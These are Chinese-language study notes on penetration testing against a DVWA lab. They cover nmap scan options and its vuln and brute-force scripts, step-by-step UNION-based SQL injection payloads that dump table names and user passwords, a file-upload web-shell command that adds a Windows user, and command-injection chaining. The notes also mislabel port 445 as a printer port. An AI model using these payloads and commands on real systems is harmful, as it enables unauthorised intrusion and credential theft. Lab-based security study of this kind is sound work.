一、 端口扫描技术:Nmap
TCP/IP:可靠性链接,三次握手
UDP::不可靠连接,eg:视频直播、游戏。
(一)nmap扫描语法:nmap +命令+地址
- -sn:主机发现,扫描网段内主机 nmap -sn 10.10.8.0/24
注意:扫描结果中的SERVICE为端口默认使用的服务类型。 - -sS:半开放扫描(非3次握手的tcp扫描),TCP SYN扫描,使用频率最高。
优点:
1)效率高
2)日志无记录 - -sT:3次握手方式tcp的扫描,默认扫描方式
- -sU:udp端口的扫描
- -sV:端口实际使用服务扫描+版本测试
nmap -sSV 10.10.8.82
扫描结果中的SERVICE为端口实际使用的服务类型。 - -vv:显示扫描过程
nmap –vv -sSV 10.10.8.82
-sSV为核心参数 - –top-ports 100 使用频率最高的前100个端口,默认为1000
- -p 21,80.445 指定端口扫描
- -p 0-65535 指定端口范围扫描 = -p- 全端口扫描
nmap 10.10.8.82 = nmap –sT –-top-ports 1000 –T3
–T3为 响应时间参数 - -O:操作系统扫描
- -A:终极扫描,扫描所有。
- -oX:扫描结果输出为xml格式文件
nmap -oX 1.xml 10.10.8.82 - -oN:扫描结果输出为txt格式文件
- -oG:扫描结果输出为gnmap格式文件
- -oA:扫描结果输出为三种格式的文件
- -iL:输入文件
nmap –iL 1.txt 10.10.8.82
优化扫描: - -n:不进行DNS查询
- –open:只显示开放端口
- -T4:优化时间控制(默认为T3)
- – min-rate:设置最小的发包速度(取决于带宽)
nmap -vv -O -sSUV --top-ports 1000 -n -T4 --open -Pn -oA 192.168.38.139 --min-rate 10000 192.168.38.139
扫描效果:
详细的结果显示
操作系统识别
top1000端口扫描及指纹识别(包含TCP和UDP)
不查询DNS
优化响应时间
只显示开放端口
禁PING
输出三种格式(xml,grepable,nmap),文件名为192.168.38.139
扫描速度10K
(二)扩展:使用nmap脚本进行漏洞渗透
在扫描时可根据需要设置–script=类别这种方式进行扫描。
漏洞检测:
- nmap –sS –p 445 –script=vuln 192.168.1.12
445 :打印机端口
vuln: 负责检查目标机是否有常见的漏洞(Vulnerability),如MS08_067。
暴力破解: - nmap –sU –p 161 –script=brute 10.10.8.82
brute: 提供暴力破解方式,针对常见的应用如http/snmp/数据库登录等
二、 WEB漏洞
(一) 代码注入
启动phpstudy,在火狐浏览器下输入10.10.8.82/DVWA
- 调节安全等级—low、middle、high等
- 使用Burp
在数据库中–,#为注释。
phpstudy—>其他选项菜单—>MySQL工具—>MySQL命令行
进行mysql语句测试。
不知用户名和密码的情况:
select * from user where user = ‘ ‘ or 1=1 limit 1 # ‘ and password=’ ‘;
limit 1: 只输入1个
- use dvwa 进入库dvwa
- use information_schema 该数据库有所有数据库、表信息
- union 联合查询
- order by 2 排序,通过第2个字段进行排序。
*用于判断查询的字段数。
代码注入步骤:
语句:select first_name,last_name from users where user_id-‘1’
低等难度
1) 判断语句中注入点是否有’’。
user_id=’1’ user_id=1
1 and 1=1# 1 and1=0#
有引号 有数据 有数据
无引号 无数据 无数据
2) 判断位数
order by
3) 判断显示位置
1 ’ union select 1 , 2#
4) 查询表名
1 ‘ union select table_name,2 from information_schema.tables where table_schema =’dvwa’ #
5) 查询表的字段
1 ’ union select column_name,2 from information_schema.columns where table_name=’users’ #
6) 查询用户名和密码
1’ union select user,password from users#
中等难度
4)查询表名,针对‘’被转译的情况
1 ‘ union select table_name,2 from information_schema.tables where table_schema =database() #
5)查询表的字段
法一: 十六进制(HexIncoder),使用火狐算出表名对应的十六进制,ox+十六进制
法二:
1 ’ union select column_name,2 from information_schema.columns where table_name=(select table_name,2 from information_schema.tables where table_schema =database() limit 1,1) #
第二行,取一个
(二) 文件上传 File Upload
- cmd=system(“net user”) 显示用户
方法一: 增加用户
cmd=system(“net user aaa /add”) 增加用户aaa
方法二: 中国菜刀,可直接查看文件,并进行文件上传。
(三) 命令注入Comand Injection
在ping命令中注入多条命令
&&、&、;、||、&等实现多条命令执行。
id&&whoami
id;whoami